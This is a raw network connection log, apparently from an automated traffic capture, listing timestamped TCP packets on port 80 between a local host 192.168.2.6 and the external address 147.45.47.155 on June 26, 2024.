Jun 26, 2024 08:16:56.924185038 CEST	49786	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:56.929059029 CEST	80	49785	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:56.929166079 CEST	49785	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:56.929183960 CEST	80	49786	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:56.929241896 CEST	49786	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:56.929411888 CEST	49786	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:56.934288025 CEST	80	49786	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:57.786103010 CEST	80	49786	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:57.786299944 CEST	49786	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:57.787039042 CEST	49786	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:57.791796923 CEST	80	49786	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:58.003590107 CEST	80	49786	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:58.003679991 CEST	49786	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:58.111054897 CEST	49786	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:58.111381054 CEST	49787	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:58.116245031 CEST	80	49786	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:58.116266012 CEST	80	49787	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:58.116312027 CEST	49786	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:58.116414070 CEST	49787	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:58.116605043 CEST	49787	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:58.121591091 CEST	80	49787	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:58.785052061 CEST	80	49787	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:58.785113096 CEST	49787	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:58.785922050 CEST	49787	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:58.790740967 CEST	80	49787	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:58.993627071 CEST	80	49787	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:58.993761063 CEST	49787	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:59.095345020 CEST	49787	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:59.095711946 CEST	49788	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:59.101007938 CEST	80	49787	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:59.101100922 CEST	49787	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:59.101388931 CEST	80	49788	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:59.101810932 CEST	49788	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:59.101937056 CEST	49788	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:59.108944893 CEST	80	49788	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:59.768523932 CEST	80	49788	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:59.768603086 CEST	49788	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:59.769438028 CEST	49788	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:59.774199963 CEST	80	49788	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:59.976485968 CEST	80	49788	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:59.976597071 CEST	49788	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.080106974 CEST	49788	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.080626965 CEST	49789	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.086039066 CEST	80	49789	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.086146116 CEST	49789	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.086339951 CEST	49789	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.087798119 CEST	80	49788	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.087995052 CEST	49788	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.091150999 CEST	80	49789	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.107781887 CEST	80	49789	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.108901978 CEST	49790	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.113997936 CEST	80	49790	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.114073992 CEST	49790	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.114252090 CEST	49790	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.119410038 CEST	80	49790	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.129983902 CEST	80	49790	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.240320921 CEST	49791	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.246433020 CEST	80	49791	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.246512890 CEST	49791	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.246864080 CEST	49791	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.251784086 CEST	80	49791	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.253092051 CEST	80	49791	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.253829956 CEST	49792	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.258616924 CEST	80	49792	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.258690119 CEST	49792	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.258903980 CEST	49792	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.266505003 CEST	80	49792	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.267277002 CEST	80	49792	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.376972914 CEST	49793	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.381714106 CEST	80	49793	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.381850958 CEST	49793	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.381988049 CEST	49793	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.387373924 CEST	80	49793	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.387383938 CEST	80	49793	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.387597084 CEST	49793	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.387597084 CEST	49793	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.388307095 CEST	49794	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.392656088 CEST	80	49793	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.392666101 CEST	80	49793	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.393125057 CEST	80	49794	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.393245935 CEST	49794	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.393379927 CEST	49794	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.398473978 CEST	80	49794	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.399154902 CEST	80	49794	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.502043009 CEST	49795	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.506954908 CEST	80	49795	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:00.507062912 CEST	49795	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.507215977 CEST	49795	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:00.511989117 CEST	80	49795	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:01.197587013 CEST	80	49795	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:01.197654963 CEST	49795	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:01.198391914 CEST	49795	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:01.204886913 CEST	80	49795	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:01.411134005 CEST	80	49795	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:01.411210060 CEST	49795	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:01.517903090 CEST	49795	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:01.518208981 CEST	49796	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:01.523216963 CEST	80	49795	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:01.523333073 CEST	49795	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:01.523435116 CEST	80	49796	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:01.523591995 CEST	49796	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:01.523675919 CEST	49796	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:01.531780958 CEST	80	49796	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.189980030 CEST	80	49796	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.190042973 CEST	49796	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.190911055 CEST	49796	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.195729971 CEST	80	49796	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.441675901 CEST	80	49796	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.441749096 CEST	49796	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.548728943 CEST	49796	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.548980951 CEST	49797	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.562263012 CEST	80	49797	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.562326908 CEST	49797	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.562463045 CEST	49797	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.562650919 CEST	80	49796	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.562707901 CEST	49796	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.568537951 CEST	80	49797	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.568737984 CEST	80	49797	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.569539070 CEST	49798	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.575989962 CEST	80	49798	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.576056004 CEST	49798	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.576174974 CEST	49798	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.580998898 CEST	80	49798	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.581049919 CEST	49798	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.581063986 CEST	80	49798	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.581088066 CEST	49798	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.585922956 CEST	80	49798	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.585932970 CEST	80	49798	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.691030025 CEST	49799	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.697854996 CEST	80	49799	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.697933912 CEST	49799	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.699028015 CEST	49799	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.704627037 CEST	80	49799	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.716703892 CEST	80	49799	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.718182087 CEST	49800	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.725819111 CEST	80	49800	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.725900888 CEST	49800	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.726151943 CEST	49800	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.733778000 CEST	80	49800	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.735618114 CEST	80	49800	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.846656084 CEST	49801	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.851737976 CEST	80	49801	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:02.851819992 CEST	49801	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.851984024 CEST	49801	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:02.858683109 CEST	80	49801	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:03.533268929 CEST	80	49801	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:03.533329010 CEST	49801	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:03.534091949 CEST	49801	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:03.539738894 CEST	80	49801	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:03.743638039 CEST	80	49801	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:03.743760109 CEST	49801	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:03.845860004 CEST	49801	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:03.846175909 CEST	49802	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:03.853171110 CEST	80	49802	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:03.853250027 CEST	49802	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:03.853482962 CEST	49802	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:03.853506088 CEST	80	49801	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:03.853593111 CEST	49801	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:03.858625889 CEST	80	49802	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:04.544584990 CEST	80	49802	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:04.544672966 CEST	49802	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:04.545507908 CEST	49802	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:04.552083969 CEST	80	49802	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:04.757738113 CEST	80	49802	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:04.757819891 CEST	49802	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:04.861540079 CEST	49802	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:04.861848116 CEST	49803	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:04.867108107 CEST	80	49802	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:04.867151022 CEST	80	49803	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:04.867187977 CEST	49802	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:04.867266893 CEST	49803	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:04.867456913 CEST	49803	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:04.872195005 CEST	80	49803	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:05.537862062 CEST	80	49803	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:05.538090944 CEST	49803	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:05.538861036 CEST	49803	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:05.543742895 CEST	80	49803	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:05.746390104 CEST	80	49803	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:05.746649027 CEST	49803	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:05.861183882 CEST	49803	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:05.861675024 CEST	49804	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:05.870361090 CEST	80	49803	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:05.870426893 CEST	49803	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:05.870450974 CEST	80	49804	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:05.870532036 CEST	49804	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:05.870745897 CEST	49804	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:05.876151085 CEST	80	49804	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.305788994 CEST	80	49804	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.305978060 CEST	49804	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.306655884 CEST	80	49804	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.306719065 CEST	49804	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.306778908 CEST	49804	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.306821108 CEST	80	49804	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.306863070 CEST	49804	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.340430021 CEST	80	49804	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.544509888 CEST	80	49804	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.545802116 CEST	49804	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.660110950 CEST	49804	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.660501003 CEST	49808	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.665323973 CEST	80	49808	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.665416002 CEST	49808	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.665522099 CEST	49808	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.665534019 CEST	80	49804	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.665582895 CEST	49804	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.670227051 CEST	80	49808	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.670479059 CEST	80	49808	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.671183109 CEST	49809	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.682492971 CEST	80	49809	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.682655096 CEST	49809	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.682681084 CEST	49809	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.688287973 CEST	80	49809	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.689424992 CEST	80	49809	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.799062014 CEST	49810	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.803884983 CEST	80	49810	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:07.803966999 CEST	49810	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.804079056 CEST	49810	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:07.809400082 CEST	80	49810	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.480272055 CEST	80	49810	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.480340004 CEST	49810	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.481172085 CEST	49810	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.485891104 CEST	80	49810	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.690468073 CEST	80	49810	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.690517902 CEST	49810	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.799741983 CEST	49810	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.800398111 CEST	49811	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.805219889 CEST	80	49811	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.805324078 CEST	49811	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.805474997 CEST	49811	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.807656050 CEST	80	49810	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.807774067 CEST	49810	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.810357094 CEST	80	49811	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.810401917 CEST	80	49811	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.810434103 CEST	49811	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.810497999 CEST	49811	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.811188936 CEST	49812	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.815267086 CEST	80	49811	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.815308094 CEST	80	49811	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.816016912 CEST	80	49812	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.816118002 CEST	49812	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.816266060 CEST	49812	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.821022987 CEST	80	49812	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.821141958 CEST	80	49812	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.923914909 CEST	49813	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.929645061 CEST	80	49813	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.929714918 CEST	49813	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.929883003 CEST	49813	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.934652090 CEST	80	49813	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.935034037 CEST	80	49813	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.936080933 CEST	49814	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.940888882 CEST	80	49814	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.940946102 CEST	49814	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.941165924 CEST	49814	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:08.945950031 CEST	80	49814	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:08.945960045 CEST	80	49814	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:09.048796892 CEST	49815	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:09.163481951 CEST	80	49815	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:09.163548946 CEST	49815	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:09.163719893 CEST	49815	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:09.168517113 CEST	80	49815	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:09.876274109 CEST	80	49815	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:09.876416922 CEST	49815	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:09.877439022 CEST	49815	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:09.882200003 CEST	80	49815	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:10.090346098 CEST	80	49815	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:10.090503931 CEST	49815	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:10.205512047 CEST	49815	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:10.205841064 CEST	49816	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:10.210679054 CEST	80	49816	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:10.210850000 CEST	49816	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:10.210944891 CEST	49816	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:10.211747885 CEST	80	49815	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:10.211870909 CEST	49815	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:10.215818882 CEST	80	49816	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:10.883671045 CEST	80	49816	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:10.883758068 CEST	49816	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:10.884541988 CEST	49816	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:10.889430046 CEST	80	49816	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.091257095 CEST	80	49816	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.091353893 CEST	49816	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.205220938 CEST	49816	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.205631018 CEST	49817	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.210536957 CEST	80	49817	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.210966110 CEST	80	49816	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.211062908 CEST	49816	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.211078882 CEST	49817	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.211285114 CEST	49817	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.216434956 CEST	80	49817	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.216535091 CEST	49817	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.216586113 CEST	49817	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.217483044 CEST	49818	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.218888998 CEST	80	49817	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.221424103 CEST	80	49817	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.221435070 CEST	80	49817	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.222273111 CEST	80	49818	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.222337008 CEST	49818	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.222491026 CEST	49818	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.227562904 CEST	80	49818	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.230334997 CEST	80	49818	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.345849037 CEST	49819	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.351202011 CEST	80	49819	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:11.351404905 CEST	49819	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.351573944 CEST	49819	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:11.356503963 CEST	80	49819	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:12.027945042 CEST	80	49819	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:12.028007030 CEST	49819	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:12.028892040 CEST	49819	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:12.033714056 CEST	80	49819	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:12.235692978 CEST	80	49819	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:12.235821962 CEST	49819	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:12.345443010 CEST	49819	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:12.345980883 CEST	49820	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:12.351135969 CEST	80	49820	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:12.351228952 CEST	49820	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:12.351389885 CEST	49820	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:12.356133938 CEST	80	49820	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:12.363183022 CEST	80	49820	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:12.363320112 CEST	80	49819	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:12.363456964 CEST	49819	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:12.364054918 CEST	49821	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:12.368930101 CEST	80	49821	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:12.368989944 CEST	49821	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:12.369190931 CEST	49821	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:12.375777006 CEST	80	49821	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:13.050786972 CEST	80	49821	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:13.050929070 CEST	49821	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:13.157979012 CEST	49821	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:13.158257008 CEST	49822	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:13.163268089 CEST	80	49821	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:13.163347006 CEST	49821	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:13.163439035 CEST	80	49822	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:13.163513899 CEST	49822	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:13.163686991 CEST	49822	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:13.168530941 CEST	80	49822	147.45.47.155	192.168.2.6
